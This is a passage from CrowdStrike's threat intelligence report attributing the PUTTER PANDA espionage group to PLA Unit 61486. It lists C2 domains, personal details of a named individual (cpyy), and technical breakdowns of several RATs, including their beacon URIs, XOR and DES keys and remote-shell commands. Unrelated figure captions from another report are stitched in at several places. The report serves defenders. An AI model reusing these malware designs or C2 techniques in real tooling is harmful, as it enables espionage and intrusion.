themselves against this activity.
Our Global Intelligence Team actively tracks and reports on more than 70 espionage groups,
approximately half of which operate out of China and are believed to be tied to the Chinese government.
This report is part
of our extensive intelligence library and was made available to our intelligence subscribers in April 2014, prior to the
US Government’s criminal indictment and China’s subsequent refusal to engage in a constructive dialog.
Targeted economic espionage campaigns compromise technological advantage, diminish global competition, and ultimately
have no geographic borders.
We believe the U.S. Government indictments and global acknowledgment and awareness
are important steps in the right direction.
In support of these efforts, we are making this report available to the public to
continue the dialog around this ever-present threat.
George Kurtz
President/CEO & Co-Founder, CrowdStrike
CrowdStrike Intelligence Report
Crowdstrike Global Intelligence Team
Table of    Executive summary....................................................................................................................... 4
Contents:   Key Findings........................................................................................................................................ 5
attribution....................................................................................................................................... 7
C2 Indicators................................................................................................................................... 8
Targeting....................................................................................................................................... 10
Connections to Other Adversary Groups.................................................................................. 11
“CPYY”................................................................................................................................................ 12
711 Network Security Team......................................................................................................... 16
Military Connections.................................................................................................................... 17
Unit 61486.......................................................................................................................................... 20
Binary Indicators.......................................................................................................................... 24
conclusions................................................................................................................................... 25
TECHNICAL ANALYSIS...................................................................................................................... 27
3PARA RAT.......................................................................................................................................... 28
PNGDOWNER.................................................................................................................................... 33
HTTPCLIENT......................................................................................................................................... 34
DROPPERS - RC4 AND XOR BASED.................................................................................................. 35
MITIGATION & REMEDIATION........................................................................................................... 38
REGISTRY ARTIFACTS.......................................................................................................................... 39
FILE SYSTEM ARTIFACTS...................................................................................................................... 39
HOST INDICATORS.............................................................................................................................. 39
YARA Rules.................................................................................................................................... 40
NETWORK SIGNATURES...................................................................................................................... 44
Snort Rules.................................................................................................................................. 44
TTPS..................................................................................................................................................... 46
Conclusion................................................................................................................................... 48
APPENDIX 1: 4H RAT SAMPLE METADATA........................................................................................ 50
APPENDIX 2: 3PARA RAT SAMPLE METADATA.................................................................................. 53
APPENDIX 3: PNGDOWNER SAMPLE METADATA............................................................................. 54
APPENDIX 4: HTTPCLIENT SAMPLE METADATA................................................................................. 57
CrowdStrike Falcon Intelligence........................................................................................... 58
CrowdStrike Falcon................................................................................................................... 59
About CrowdStrike...................................................................................................................... 60
2
Executive Summary
CrowdStrike Intelligence Report
Crowdstrike Global Intelligence Team
EXECUTIVE SUMMARY
CrowdStrike has been tracking the activity of a cyber espionage group operating out of Shanghai,
China, with connections to the People’s Liberation Army Third General Staff Department (GSD) 12th
Bureau Military Unit Cover Designator (MUCD) 61486, since 2012.
The attribution provided in this report
points to Chen Ping, aka cpyy (born on May 29, 1979), as an individual responsible for the domain
registration for the Command and Control (C2) of PUTTER PANDA malware.
In addition to cpyy, the
report identifies the primary location of Unit 61486.
PUTTER PANDA is a determined adversary group, conducting intelligence-gathering operations
targeting the Government, Defense, Research, and Technology sectors in the United States, with
specific targeting of the US Defense and European satellite and aerospace industries.
The PLA’s GSD
Third Department is generally acknowledged to be China’s premier Signals Intelligence (SIGINT)
collection and analysis agency, and the 12th Bureau Unit 61486, headquartered in Shanghai,
supports China’s space surveillance network.
Domains registered by Chen Ping were used to control PUTTER PANDA malware.
These domains were
registered to an address corresponding to the physical location of the Shanghai headquarters of
12th Bureau, specifically Unit 61486.
The report illuminates a wide set of tools in use by the actors,
including several Remote Access Tools (RATs).
The RATs are used by the PUTTER PANDA actors to
conduct intelligence-gathering operations with a significant focus on the space technology sector.
This toolset provides a wide degree of control over a victim system and can provide the
opportunity to deploy additional tools at will.
They focus their exploits against popular productivity
applications such as Adobe Reader and Microsoft Office to deploy custom malware through
targeted email attacks.
This report contains additional details on the tactics, tools, and techniques used by PUTTER PANDA,
and provides indicators and signatures that can be leveraged by organizations to protect
themselves against this activity.
4
CrowdStrike Intelligence Report
Crowdstrike Global Intelligence Team
KEY FINDINGS
➔ Putter Panda is a cyber espionage      ➔ The group has been operating since
actor that conducts operations from       at least 2007 and has been observed
Shanghai, China, likely on behalf of      heavily targeting the US Defense and
the Chinese People’s Liberation Army      European satellite and aerospace
(PLA) 3rd General Staff Department        industries.
12th Bureau Unit 61486.
This unit is
supports the space based signals       ➔ They focus their exploits against
intelligence (SIGINT) mission.
popular productivity applications
such as Adobe Reader and Microsoft
➔ The 12th Bureau Unit 61486,                Office to deploy custom malware
headquartered in Shanghai, is widely       through targeted email attacks.
accepted to be China’s primary
SIGINT collection and analysis         ➔ CrowdStrike identified Chen Ping,
agency, supporting China’s space          aka cpyy, a suspected member of
surveillance network.
the PLA responsible for procurement
of the domains associated with
➔ This is a determined adversary            operations conducted by Putter
group, conducting intelligence-           Panda.
gathering operations targeting the
Government, Defense, Research,         ➔ There is infrastructure overlap with
and Technology sectors in the             Comment Panda, and evidence
United States, with specific              of interaction between actors tied
targeting of space, aerospace,            to both groups.
and communications.
5
Attribution
CrowdStrike Intelligence Report
Crowdstrike Global Intelligence Team
Attribution
There are several pieces of evidence
to indicate that the activity tracked
by CrowdStrike as PUTTER PANDA is
attributable to a set of actors based
in China, operating on behalf of the
Chinese People’s Liberation Army (PLA).
Specifically, an actor known as cpyy (Chen
Ping) appears to have been involved
in a number of historical PUTTER PANDA
campaigns, during which time he was likely
working in Shanghai within the 12th Bureau,
3rd General Staff Department (GSD).
PUTTER PANDA has several connections to
actors and infrastructure tied to COMMENT
PANDA, a group previously attributed to
Unit 61398 of the PLA.
7
CrowdStrike Intelligence Report
Crowdstrike Global Intelligence Team
C2 Indicators
Although some of the domains used
for command and control of the tools
described later in this report appear
to be legitimate sites that have been
compromised in some way, many of
them appear to have been originally
registered by the operators.
Table
1 shows the domains that appear
to have been registered by these
actors, and the original email address
used where known.
Table 1.
C2 Domains and
Original Registrant
Email Addresses
8
CrowdStrike Intelligence Report
Crowdstrike Global Intelligence Team
C2 Indicators (cont’d)
The most significant finding is that an actor known as cpyy appears to have registered a significant number
of C2 domains.
This actor is discussed in the next section.
Many of the domains have had their registrant information changed, likely in an attempt to obfuscate the
identity of the operators.
For instance, several domains originally registered by cpyy had their email address
updated to van.dehaim@gmail.com around the end of 2009; for siseau.com the change occurred between
July 2009 and November 2009, and for vssigma.com, the change occurred between August 2009 and
December 2009.
Historical registrant information for anfoundation.us, rwchateau.com, and succourtion.org
was not available prior to 2010, but it is likely that these domains were also originally registered to a personally
attributable email account.
Similarly, several domains registered to
mike.johnson_mj@yahoo.com have had
their registrant email updated during March
2014 (see Table 2).
These registrant changes may indicate
an increased awareness of operational
security (OPSEC) from the PUTTER PANDA
actors.
The recent changes to the domains
shown in Table 2 may indicate that the
Table 2.
New
Registrant Email                                               operators are preparing new campaigns
Addresses for                                                  that make use of this infrastructure, or they
Domains Original-
are attempting to disassociate all these
ly Registered to
mike.johnson_mj@
yahoo.com                                                      Although no attributable information was
found on the email addresses associated
with the domains described above (aside
from cpyy and httpchen – see below),
several other domains were found to have been registered by some of these addresses.
These are shown
in Table 3, and may be used for command and control of PUTTER PANDA tools.
domains from a single email
address, perhaps due to OPSEC concerns or issues with the specific email account.
9
CrowdStrike Intelligence Report
Crowdstrike Global Intelligence Team
C2 Indicators
(cont’d)
Targeting
The subdomains associated with
these domains via DNS records, along
with some of the domain names
themselves, point to some areas
of interest for the PUTTER PANDA
operators (see also Droppers in the
following Technical Analysis section):
• Space, satellite, and remote
sensing technology (particularly
within Europe);
• Aerospace, especially European
aerospace companies;
• Japanese and European
telecommunications.
It is likely that PUTTER PANDA will
continue to attack targets of
this nature in future intelligence-
gathering operations.
Table 3.
Domains
Associated with
Registrant Emails
Found in PUTTER
PANDA C2 Domains
10
CrowdStrike Intelligence Report
Crowdstrike Global Intelligence Team
C2 Indicators (cont’d)                                           The decipherment.net domains resolved to this IP
address from 11 October 2012 to at least 25 February
2013, and the botanict.com domain resolved from 11
Connections to Other
October 2012 to 24 March 2013.
Adversary Groups
During part of this timeframe (30 June 2012 - 30
COMMENT PANDA
October 2012), a domain associated with COMMENT
Based on passive DNS records,
PANDA resolved to this same IP address: login.
several PUTTER PANDA associated
aolon1ine.com.
Additionally, for a brief period in April
domains have resolved to IP
2012, update8.firefoxupdata.com also resolved to
address 100.42.216.230:
this IP address.
• news.decipherment.net
• res.decipherment.net
The use of the same IP address during the same time
• spacenews.botanict.com
suggests that there is perhaps some cooperation or
• spot.decipherment.net
shared resources between COMMENT PANDA and
PUTTER PANDA.
Additionally, several subdomains of
ujheadph.com resolved to this IP:
VIXEN PANDA
• chs.ujheadph.com
Although not as conclusive as the
• imageone.ujheadph.com
links to COMMENT PANDA, IP address
• img.ujheadph.com
31.170.110.163 was associated
• klcg.ujheadph.com
with VIXEN PANDA domain blog.
• naimap.ujheadph.com
strancorproduct.info from November to December
• neo.ujheadph.com
2013.
In February 2014, this IP address was also
• newspace.ujheadph.com
associated with PUTTER PANDA domain ske.hfmforum.
• pasco.ujheadph.com
com.
While not directly overlapping, this potential
infrastructure link is interesting, as VIXEN PANDA has
Another subdomain of ujheadph.com has been
previously displayed TTPs similar to COMMENT PANDA
observed 2 in connection with distinctive traffic
(other CrowdStrike reporting describes VIXEN PANDA
originating from the 3PARA RAT (described below),
malware that extracts C2 commands embedded
making it probable that this domain is
between delimiters in web content), and has
also associated with PUTTER PANDA.
extensively targeted European entities.
2
See http://webcache.googleusercontent.com/search?q=cache:ZZyfzC1Y0UoJ:www.urlquery.net/report.
php%3Fid%3D9771458+&cd=2&hl=en&ct=clnk&gl=uk
11
CrowdStrike Intelligence Report
Crowdstrike Global Intelligence Team
“CPYY”
Several email addresses have been associated with cpyy, who also appears to use the alternate handles
cpiyy and cpyy.chen:
• cpyy@sina.com
• cpyy@hotmail.com
• cpyy.chen@gmail.com
• cpyy@cpyy.net
The cpyy.net domain lists “Chen Ping” as the registrant name, which may be cpyy’s real name, as this
correlates with the initials “cp” in “cpyy”.
A personal blog for cpyy was found at http://cpiyy.blog.163.com/.
The profile on this blog (shown in Figure 2 below) indicates that the user is male, was born on 25 May 1979,
and works for the “military/police” (其他- 军人/警察).
Figure 2. cpyy
Personal Blog on
163.com
12
CrowdStrike Intelligence Report
Crowdstrike Global Intelligence Team
“CPYY” (cont’d)
This blog contains two postings in the “IT” category that indicate at least a passing interest in the topics of
networking and programming.
A related CSDN profile for user cpiyy indicates that cpyy was working on or
studying these topics in 2002 and 20033.
Another personal blog for cpyy (http://www.tianya.cn/1569234/bbs) appears to have last been updated in
2007.
This states that the user lives in Shanghai, and has a birthdate identical to that in the 163.com blog.
cpyy was also active on a social networking site called XCar, stating that he lived in Shanghai as early as
2005 through 2007; he said in a post, “Soldier’s duty is to defend the country, as long as our country is safe,
our military is excellent”4 , indicating a feeling of patriotism that could be consistent with someone who
chose a military or police-based career.
Figure 3. cpyy
Personal Blog on
tianya.cn
3
See postings: http://bbs.csdn.
net/users/cpiyy/topics
4
hxxp://www.xcar.com.
cn/bbs/viewthread.
php?tid=7635725&page=6
13
CrowdStrike Intelligence Report
Crowdstrike Global Intelligence Team
“CPYY” (cont’d)
On the XCar forum, cpyy.chen used a subforum
called POLO (hacker slang for “Volkswagen cars”)
to communicate with other users Linxder, peggycat,
“Naturally do not understand romance” (天生不懂浪漫),
“a wolf” (一只大灰狼), “large tile” (大瓦片), “winter” (
冬夜), “chunni” (春妮), papaya, kukuhaha, Cranbing,
“dusty sub” (多尘子), z11829, “ice star harbor” (冰星港),
“polytechnic Aberdeen” (理工仔), “I love pineapple
pie” (我爱菠罗派), and “she’s distant” in 2007.
Although
superficially the discussion is about cars, there is a
repeated word in the text, “milk yellow package” or
“custard package” or “yoke package” (奶黄包).
This
could be a hacker slang word, but it is unclear as to the
definition.
The conversation alludes to Linxder being the
“teacher” or “landlord” and the other aforementioned
users are his “students”.
Linxder references how he has
“found jobs” for them.
It is possible that this is a reference
to hacking jobs wrapped up in car metaphors.
Linxder is the handle of an actor associated with
the likely Shanghai-based COMMENT PANDA group5
.
Linxder, cpyy, and xiaobai have all discussed
programming and security related topics on cpyy’s site,
cpyy.org6 , which hosted a discussion forum for the 711
Network Security Team (see below).
cpyy also appears to have a keen interest in
photography; his 163.com blog includes several
photographs taken by cpyy in the blog postings and
albums section.
Some of these photographs also appear
Figure 4. cpyy.chen,
in a Picasa site7 (examples are shown in Figures 5 and 6)
from 2005, 2006,
belonging to a user cpyy.chen.
and 2007
(left to right)
An album in this site named “me” has several shots of
what is likely cpyy himself, from 2005, 2006, and 2007,
shown to the right:
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“CPYY” (cont’d)
An account on rootkit.com, a popular low-level software security site, existed for user cpyy and was accessed
in at least May 2004.
This account was registered with primary email address cpyy@cpyy.net and backup email
address cpyy@hotmail.com; it listed a date of birth as 24 May 1979, consistent with cpyy’s other profiles.
The
IP address 218.242.252.214 was associated with this account; it is owned by the Oriental Cable Network Co.,
Ltd., an ISP located in Shanghai.
Registration on this forum shows that cpyy had an interest in security-related
programming topics, which is backed up by the postings on his personal blog and CSDN account.
Figure 6.
Example
Photograph from
163.com Blog
Figure 5.
Sample
Photograph from
cpyy.chen’s
Picasa Albums
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“CPYY” (cont’d)
711 Network Security Team
One of the sites registered to cpyy was used to host a web-based email service, along with a forum on www.
cpyy.net.
Both of these services were apparently run by the 711 Network Security Team (711网络安全小组), a
group that is now likely defunct, but has previously published security-based articles that have been re-posted
on popular Chinese hacking sites such as xfocus.net8.
One of these articles, entitled “IMD-based packet
filtering firewall to achieve the principles”9, is
apparently authored by xiaobai, with email address
xiaobai@openfind.com.cn; it was published on
the “GRATEFUL” (饮水思源) security digest list10 that
is hosted by Shanghai Jiao Tong University (SJTU).
This digest list/bulletin board was also frequented
by ClassicWind, an actor possibly linked to the
Shanghai-based, PLA-sponsored adversary group
COMMENT PANDA, as described in.
This Tipper also
indicates that “the Chinese Communist Party (CCP)
and the People’s Liberation Army (PLA) aggressively
target SJTU and its School of Information Security
Engineering (SISE) as a source of research and
student recruitment to conduct network offense
and defense campaigns”, so it is possible that the
Figure 7. httpchen
711 Network Security Team members came to the
Posting on SJTU
“GRATEFUL” BBS                                                          attention of the Chinese state via this institution.
An additional connection to SJTU comes from
a C2 domain, checalla.com, used with the 4H RAT in 2008.
This domain was registered to httpchen@gmail.
com at the time, and this address was also used to make a posting on the GRATEFUL BBS (shown in Figure 7).
The posting indicates that httpchen is located at the 闵行 (Minhang) campus of SJTU and was posting using
IP address 58.196.156.15, which is associated with the China Education and Research Network (CERNET), a
nationwide network managed by the Chinese Ministry of Education.
It also states that httpchen is studying at
the school of Information Security Engineering within SJTU.
8
For example, hxxp://www.xfocus.net/articles/200307/568.html
9
This article also lists http://cpyy.vicp.net/ as the original source site, although no archived content could be recovered for this.
10
See http://bbs.sjtu.edu.cn/bbsanc,path,/groups/GROUP_3/Security/D44039356/D69C6D2AC/D4C11F438/D6DB67E4E/DA69FF663/
M.1052844461.A.html
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“CPYY” (cont’d)
Military Connections
Several pieces of evidence indicate that cpyy probably has connections to, or is part of, the Chinese military
– specifically the PLA Army.
In addition to his declaration on his personal blog that he works for the “military/
police”, and contacts with actors such as Linxder that have been previously associated with hacking units
within the PLA, cpyy’s Picasa site contains several photographs that hint at military connections.
First, a monochrome picture from
the 大学时代 (“college”) album
posted in February 2007 shows
several uniformed individuals:
It is not clear whether this picture
includes cpyy, or just friends/
associates/relatives.
A picture from the 中学时代
(“high school”) album posted in
February 2007 shows a male –
likely cpyy based on the clothing
shown in the second picture,
which matches the pictures of
cpyy shown above – performing
exercise in front of a group of
likely soldiers and an officer:
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Although somewhat unclear, pictures from the album 2002年的生日 (“2002 birthday”), also posted in
February 2007, show the celebrant (likely cpyy) in khaki clothes that are possibly military wear.
The most compelling pictures,
however, are found in the 宿舍
and 办公室 albums (“dormitory”
and “office”).
A shot of probably
cpyy’s dormitory room shows in the
background two military hats that
appear to be Type 07 PLA Army
officer peak hats:
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This album also contains a shot of the exterior of a building with several large satellite dishes outside:
This same building and the
satellite dishes also appear
in the “office” album.
The
reflection effects observed
on the windows of this
building could be due to
coatings applied to resist
eavesdropping via laser
microphones and to increase
privacy, which would be
consistent with a military
installation conducting
sensitive work.
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Above is an image from the same album of what appears to be a larger dish, in front of the Oriental Pearl
Tower, a significant landmark in Shanghai:
UNIT 61486
As mentioned above, checalla.com was used for command and control with the PUTTER PANDA 4H RAT in
2008.
This domain was registered to httpchen@gmail.com, and in May 2009 the domain registration details
were updated to include a Registrant Address of “shanghai yuexiulu 46 45 202#”.
A search for this location
reveals an area of Shanghai shown in Figure 812 .
Figure 9 shows an enlargement of satellite imagery from within this area, depicting a facility containing
several satellite dishes within green areas, sports courts and a large office building.
Source: https://www.google.com/maps/place/31%C2%B017’18.0%22N+121%C2%B027’18.7%22E/@31.2882939,121.4554673,658m/
12
data=!3m1!1e3!4m2!3m1!1s0x0:0x0
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Figure 8.
Map and
Satellite Views of
Area of Interest in
Shanghai
Figure 9.
Enlarged
Section within
Area of Interest
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Satellite imagery from 2009 showing another aspect of this office building, along with a likely vantage point
and direction of camera, alongside probably cpyy’s photograph from the same angle, is shown in Figure 10:
Figure 10.
Satellite
Imagery of Facility
Alongside Handheld
Image from cpyy
Based on the Shanghai location, and common features, it is highly likely that the location shown above
is the same as that photographed by cpyy and shown in the “office” and “dormitory” albums.
Further
confirmation can be found from photos uploaded by a user on Panoramio13 who tags the image as being
located in Chabei14 , Shanghai, China (31° 17’ 18.86” N 121° 27’ 9.83” E).
This image is exceptionally similar
to building shown in cpyy’s “office” album (see Figure 11 below).
http://www.panoramio.com/user/3305909
13
Alternately Romanized as Zhabei
14
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Figure 11.
Panoramio
(left) and cpyy
Images Compared
According to a public report15 on the Chinese PLA’s General Staff Department (GSD), the 12th Bureau of
the 3rd GSD is headquartered in the Zhabei district of Shanghai and “appears to have a functional mission
involving satellites, likely inclusive of intercept of satellite communications and possibly space-based SIGINT
collection”.
The same report also lists a Military Unit Cover Designator (MUCD) of 61486 for this bureau.
A webpage16 published on a Chinese government site detailing theatrical performances involving members
of the PLA lists an address of “闸北区粤秀路46号” (46 Yue Xiu Road, Zhabei District) for “总参61486部队” (61486
Forces General Staff).
A search for this location shows an identical area to that shown in Figure 8.
It can therefore be concluded with high confidence that the location shown in cpyy’s imagery, along
with the satellite images above, is the headquarters of the 12th Bureau, 3rd GSD, Chinese PLA – also
known as Unit 61486.
This unit’s suspected involvement in “space surveillance”17 and “intercept of satellite
communications” fits with their observed targeting preferences for Western companies producing
technologies in the space and imaging/remote sensing sectors.
The size and number of dishes present in
the area is also consistent with these activities.
15
http://project2049.net/documents/pla_third_department_sigint_cyber_stokes_lin_hsiao.pdf
16
http://www.dfxj.gov.cn/xjapp/wtzyps/wtlzy/wyyjysl/zhc/zyc/bd01d910153ffb4d0115a7c12f70042e.html
17
http://project2049.net/documents/china_electronic_intelligence_elint_satellite_developments_easton_stokes.pdf
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Binary indicators
Observed build times for the PUTTER PANDA tools described in this report range from 2007 to late 2013,
indicating that the actors have conducted several campaigns against their objectives over a period of
several years.
A build time analysis of all known samples is shown in Figure 1 below, relative to China time.
Figure 1.
Build
Time Analysis of
PUTTER PANDA
Malware, Relative
to China Time
(UTC+8)
Although this shows that there is some bias in the build time distribution to daylight or working hours in China, which
is more significant if a possible three-shift system of hours is considered (0900-1200, 1400-1700, and 2000-2300), this
evidence is not conclusive.
There is also some evidence that build times are manipulated by the adversary; for
example, the sample with MD5 hash bc4e9dad71b844dd3233cfbbb96c1bd3 has a build time of 18 July 2013, but was
supposedly first submitted to VirusTotal on 9 January 2013.
This shows that the attackers – at least in 2013 – were aware
of some operational security considerations and were likely taking deliberate steps to hide their origins.
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Conclusions
There is strong evidence to tie cpyy, an actor who
appears to have been involved in historical PUTTER
PANDA operations, to the PLA army and a location in
Shanghai that is operated by the 12th Bureau, 3rd GSD
of the PLA (Unit 61486).
Another actor tied to this activity,
httpchen, has declared publically that he was attending
the School of Information Security Engineering at SJTU.
This university has previously been posited as a recruiting
ground for the PLA to find personnel for its cyber
intelligence gathering units, and there is circumstantial
evidence linked cpyy to other actors based at SJTU.
Given the evidence outlined above, CrowdStrike
attributes the PUTTER PANDA group to PLA Unit 61486
within Shanghai, China with high confidence.
It is likely
that this organization is staffed in part by current or
former students of SJTU, and shares some resources and
direction with PLA Unit 61398 (COMMENT PANDA).
25
Technical Analysis
CrowdStrike Intelligence Report
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Technical Analysis
Several RATs are used by PUTTER PANDA.
The most common of these, the 4H
RAT and the 3PARA RAT, have been documented previously by CrowdStrike
in previous CrowdStrike Intelligence reporting.
This analysis will be revisited
below, along with an examination of two other PUTTER PANDA tools:
pngdowner and httpclient.
Two droppers have been associated with the
PUTTER PANDA toolset; these are also briefly examined below.
4H RAT – EXAMPLE MD5 HASH
A76419A2FCA12427C887895E12A3442B
This RAT was first analyzed by CrowdStrike in April 2012, but a historical analysis shows that it has been in
use since at least 2007 by the PUTTER PANDA actors.
A listing of metadata for known samples, including C2
Screenshot of Truecaller
information, is shown in Appendix 1.
Database Shared by
DEADEYE JACKAL on Their
The operation of this RAT is described in detail in other CrowdStrike reporting, but isTwitter
usefulAccount
to revisit here to
(names
highlight the characteristics of the RAT:                                              redacted)
• C2 occurs over HTTP, after connectivity has been verified by making a distinctive request (to the URI /
search?qu= at www.google.com).
• A victim identifier is generated from the infected machine’s hard disk serial number, XOR’ed with the key
ldd46!yo , and finally nibble-wise encoded as upper-case ASCII characters in the range (A-P) – e.g., the
byte value 0x1F becomes “BP”.
• A series of HTTP requests characterizes the RAT’s C2.
The initial beacon uses a request with four parameters
(h1, h2, h3, and h4) – as shown in Figure 8 – to register the implant with the C2 server.
• Communication to and from the C2 server is obfuscated using a 1-byte XOR with the key 0xBE.
• The commands supported by the RAT enable several capabilities, including:
o Remote shell
o
 Listing of running processes (including loaded modules)
o Process termination (specified by PID)
o File and directory listing
o File upload, download, deletion, and timestamp modification
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Figure 8.
4H RAT
Example Beacon
Screenshot of Truecaller
Database Shared by
DEADEYE JACKAL on Their
Figure 9.
Sample
Twitter Account (names
Python Code to
redacted)
Decode Hostname
from User-Agent
3PARA RAT – EXAMPLE MD5 HASH                                                                Snippet
BC4E9DAD71B844DD3233CFBBB96C1BD3
The 3PARA RAT was described in some detail in other CrowdStrike reporting, which
examined a DLL-based sample with an exported filename of ssdpsvc.dll.
Other
observed exported filenames are msacem.dll and mrpmsg.dll, although the RAT has
also been observed in plain executable (EXE) format.
On startup, the RAT attempts to create a file mapping named
&*SDKJfhksdf89*DIUKJDSF&*sdfsdf78sdfsdf.
This is used to prevent multiple instances of
the RAT being executed simultaneously.
The RAT will then use a byte-wise subtraction-
based algorithm (using a hard-coded modulo value) to decode C2 server details
consisting of a server hostname and port number, in this example nsc.adomhn.
com, port 80.
The decoding algorithm is illustrated in Figure 10 below.
The key and
modulo values vary on a per-sample basis.
Decoded C2 settings, along with sample
metadata, are listed in Appendix 2.
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Figure 10.
Sample
Python Code Illus-
trating C2 Server
Decoding Routine
The RAT is programmed in C++ using Microsoft Visual Studio, and it makes use of the
object-oriented and parallel programming features of this environment; Standard
Template Library (STL) objects are used to represent data structures such as strings and
lists, and custom objects are used to represent some of the C2 command handlers
(e.g., CCommandCMD).
Several threads are used to handle different stages of the
C2 protocol, such as receiving data from the server, decrypting data, and processing
commands.
Standard Windows primitives such as Events are used to synchronize
across these threads, with a shared global structure used to hold state.
Once running, the RAT will load a binary representation of a date/time value13 from a
Screenshot of Truecaller
file C:\RECYCLER\restore.dat, and it will sleep until after this date/time has passed.
Database
This     Shared by
provides a mechanism for the operators to allow the RAT to remain dormant until aDEADEYE JACKAL on Their
Twitter Account (names
fixed time, perhaps to allow a means of regaining access if other parts of their toolset
are removed from a victim system.
redacted)
Figure 11.
3PARA
RAT Initial Beacon
As with the 4H RAT, the C2 protocol used by the 3PARA RAT is HTTP based, using
both GET and POST requests.
An initial request is made to the C2 server (illustrated
in Figure 11 above), but the response value is effectively ignored; it is likely that this
request serves only as a connectivity check, as further C2 activity will only occur
if this first request is successful.
In this case, the RAT will transmit some basic victim
information to the C2 server along with a 256-byte hash of the hard-coded string
HYF54&%9&jkMCXuiS.
It is likely that this request functions as a means to authenticate
the RAT to the C2 server and register a new victim machine with the controller.
A
sample request and its structure are shown in Figure 12.
Using the standard Windows SYSTEMTIME structure
13
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Screenshot of Truecaller
Database Shared by
DEADEYE JACKAL on Their
Twitter Account (names
redacted)
Figure 12.
Sample
3PARA RAT Second-
ary Beacon/
C2 Registration
See http://msdn.microsoft.com/en-us/library/windows/desktop/bb759853(v=vs.85).aspx for details of this API, which is rarely used.
14
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If this request is also successful, the RAT will attempt to retrieve tasking from the
controller using a further distinctive HTTP request shown in Figure 13, repeating this
Screenshot of Truecaller
request every two seconds until valid tasking is returned.
Database Shared by
DEADEYE JACKAL on Their
Twitter Account (names
redacted)
Figure 13.
3PARA
RAT Sample Tasking
Request
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Returned tasking is decrypted using the DES algorithm in CBC mode with a key derived from the MD5 hash
of the string HYF54&%9&jkMCXuiS (as used in the secondary beacon shown above).
If this fails, the RAT will fall
back to decoding the data using an 8-byte XOR with a key derived from data returned from the HashData API
with the same key string.
Output data produced by tasking instructions is encrypted in the same manner as it
was decrypted and sent back to the C2 server via HTTP POST request to a URI of the form /microsoft/errorpost/
default.aspx?ID=, where the ID value is a random number in decimal representation – as with the initial request
shown in Figure 4.
The set of commands supported by the RAT is somewhat limited, indicating that perhaps the RAT is intended
to be used as a second-stage tool, or as a failsafe means for the attackers to regain basic access to a
compromised system (which is consistent with its support for sleeping until a certain date/time).
Some of the
supported commands are implemented using C++ classes derived from a base CCommand class:
•C CommandAttribe – Retrieve metadata for files on disk, or set certain attributes such as creation/
modification timestamps.
• CCommandCD – Change the working directory for the current C2 session.
•C CommandCMD – Execute a command, with standard input/output/error Screenshot of Truecaller
redirected over the C2 channel.
Database Shared by
• CCommandNOP – List the current working directory.
DEADEYE JACKAL on Their
Twitter Account (names
redacted)
However, other commands are not implemented in this way.
These other commands contain functionality to:
• Pause C2 activity for a random time interval.
• Shutdown C2 activity and exit.
•P rovide a date and time before which beaconing will not resume, recorded in the file C:\RECYCLER\
restore.dat as noted above.
The use of C++ classes that inherit from a base class to carry out some of the tasking commands, along
with the use of concurrency features, indicates that the developers of the RAT put some thought into the
architecture and design of their tool, although the decision to implement some commands outside of the
class-based framework is curious, and may indicate multiple developers worked on the RAT (or a single
developer with shifting preferences for his coding style).
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PNGDOWNER – EXAMPLE MD5 HASH
687424F0923DF9049CC3A56C685EB9A5
The pngdowner malware is a simple tool constructed using Microsoft Visual Studio and implemented via single
C++ source code file.
This sample contains a PDB path of Y:\Visual Studio 2005\Projects\branch-downer\
downer\Release\downer.pdb, but other similar paths Z:\Visual Studio 2005\Projects\pngdowner\Release\
pngdowner.pdb and Z:\Visual Studio 2005\Projects\downer\Release\downer.pdb have also been observed
in other samples.
Appendix 3 lists metadata for known pngdowner samples.
Initially, the malware will perform a connectivity check to a hard-coded URL (http://www.microsoft.com),
using a constant user agent Mozilla/4.0 (Compatible; MSIE 6.0;).
If this request fails, the malware will attempt to
extract proxy details and credentials from Windows Protected Storage, and from the IE Credentials Store using
publicly known methods15 , using the proxy credentials for subsequent requests if they enable outbound HTTP
access.
An initial request is then made to the hard-coded C2 server and initial URI – forming a URL of the form
(in this sample) http://login.stream-media.net/files/xx11/index.asp?95027775, where the numerical parameter
represents a random integer.
A hard-coded user agent of myAgent is used for thisScreenshot        of Truecaller
request, and    subsequent
Database Shared by
communication with the C2 server.
DEADEYE JACKAL on Their
Twitter Account (names
Content returned from this request to the C2 server will be saved to a file named index.dat in the user’s
redacted)
temporary directory (i.e., %TEMP%).
This file is expected to contain a single line, specifying a URL and a
filename.
The malware will then attempt to download content from the specified URL to the filename within
the user’s temporary directory, and then execute this file via the WinExec API.
If this execution attempt
succeeds, a final C2 request will be made – in this case to a URL using the same path as the initial request (and
a similarly random parameter), but with a filename of success.asp.
Content returned from this request will be
saved to a file, but then immediately deleted.
Finally, the malware will delete the content saved from the first
request, and exit.
The limited functionality, and lack of persistence of this tool, implies that it is used only as a simple download-
and-execute utility.
Although the version mentioned here uses C++, along with Visual Studios Standard
Template Library (STL), older versions of the RAT (such as MD5 hash b54e91c234ec0e739ce429f47a317313), built
in 2011, use plain C. This suggests that despite the simple nature of the tool, the developers have made some
attempts to modify and perhaps modernize the code.
Both versions contain debugging/progress messages
such as “down file success”.
Although these are not displayed to the victim, they were likely used by the
developers as a simple means to verify functionality of their code.
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HTTPCLIENT – EXAMPLE MD5 HASH
544FCA6EB8181F163E2768C81F2BA0B3
Like pngdowner, the httpclient malware is a simple tool that provides a limited range of functionality and uses
HTTP for its C2 channel.
This malware also initially performs a connectivity check to www.microsoft.com using
the hard-coded user agent Mozilla/4.0 (Compatible; MSIE 6.0;), although in this variant no attempt is made to
extract proxy credentials.
The malware will then connect to its configured C2 infrastructure (file.anyoffice.info) and perform a HTTP
request of the form shown in Figure 14 below:
Screenshot of Truecaller
Figure 14.
HttpClient
Database Shared by
Sample Beacon
DEADEYE JACKAL on Their
Twitter Account (names
redacted)
Content returned from the C2 server is deobfuscated by XOR’ing the content with a single byte, 0x12.
The
decoded data is then checked for the string runshell.
If this string is not present, the C2 request is repeated
every 0.5 seconds.
Otherwise, a shell process is started (i.e., cmd.exe), with input/output redirected over the C2
channel.
Shell commands from the server are followed by an encoded string $$$, which indicates that the shell
session should continue.
If the session is ended, two other commands are supported: m2b (upload file) and
b2m (download file).
Slight variations on the C2 URLs are used for different phases of the C2 interaction:
• Shell command: /Microsoft/errorpost<random number>/default.asp?tmp=<encoded hostname>
• Shell response: /MicrosoftUpdate/GetUpdate/KB<random number>/default.asp?tmp=<encoded hostname>
Both methods are detailed here: http://securityxploded.com/iepasswordsecrets.php
15
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Given the lack of a persistence mechanism and low level of sophistication, it is likely that httpclient – like
pngdowner – is used as a second-stage or supplementary/backup tool.
Appendix 4 lists metadata for
observed httpclient samples.
DROPPERS – RC4 AND XOR BASED
